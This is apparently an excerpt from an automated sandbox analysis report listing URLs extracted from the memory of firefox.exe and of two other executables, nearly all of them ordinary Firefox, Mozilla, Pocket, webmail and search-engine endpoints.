Source: firefox.exe, 0000002E.00000003.3109677092.0000021C03C70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3046614204.0000021BFB452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3268191781.0000021BFB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3266319436.0000021BFB52A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3044325628.0000021BFB40F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000002E.00000003.3109677092.0000021C03C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000000.00000003.2339084293.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2425769907.000000002390D000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2960286063.00000000054FD000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939393604.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939893800.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939236629.00000000054F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2339084293.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2425769907.000000002390D000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2960286063.00000000054FD000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939393604.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939893800.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939236629.00000000054F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2339084293.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2425769907.000000002390D000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2960286063.00000000054FD000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939393604.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939893800.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939236629.00000000054F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3268191781.0000021BFB770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://ebay.com
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://fb.me/react-polyfillsO
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://fb.me/react-polyfillsP
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://fb.me/react-polyfillsPO
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3101642076.0000021C03653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/74f06853-c80d-4afc-9b2
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/browser/components/newtab/content-src/asrouter/docs/debuggin
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000002E.00000002.3312476226.0000021BFCC30000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/nimbus-desktop-experiments
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsfiref
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Cache
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i#
Source: firefox.exe, 0000002E.00000002.3249402513.0000021BF986E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3101642076.0000021C03653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3101642076.0000021C03653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3101642076.0000021C03653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3101642076.0000021C03653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://getpocket.com/
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://getpocket.com/a4
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://getpocket.com/collections
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://getpocket.com/explore/
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabimprovesearch.topSiteSearchShortcuts.searchEngi
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://getpocket.com/read/$
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3101642076.0000021C03653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000002E.00000002.3246516473.0000021BF8A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000002E.00000003.3144641897.0000021C052CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3090932271.0000021C052D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3093846472.0000021C052CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000002E.00000003.3144641897.0000021C052CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3090932271.0000021C052D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3093846472.0000021C052CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000002E.00000003.3043406581.0000021BFB200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3045980898.0000021BFB431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3268191781.0000021BFB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3044325628.0000021BFB40F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsextension/webcompat
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://github.com/projectfluent/fluent.js/wiki/React-Overlays.
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp, firefox.exe, 0000002E.00000003.3101642076.0000021C03653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/experimental-features-web-gpu2
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://help.getpocket.com/article/1142-firefox-new-tab-recommendations-faq
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3218516266.0000021BEB511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881a
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881jar:file
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/7
Source: firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000002E.00000003.3100865480.0000021C0368C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3272696566.0000021BFC003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000002E.00000002.3263766890.0000021BFB27B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000002E.00000002.3325030871.0000021BFD369000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000002E.00000003.3102708132.0000021BFC49B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3275905503.0000021BFC391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3262620361.0000021BFB12A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000002E.00000002.3316090573.0000021BFCF29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000002E.00000002.3316090573.0000021BFCF29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.comenv.channel
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF88A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3246516473.0000021BF8A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sPlease
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttp://win.mail.ru/cgi
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%snewChannel
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000002E.00000002.3218516266.0000021BEB5D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest5
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestbug-1732206-rollout-fission-release-rollout-releas
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestsearchEngagementTelemetry.pauseImpressionIntervalM
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000002E.00000002.3249402513.0000021BF9819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3249402513.0000021BF98D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
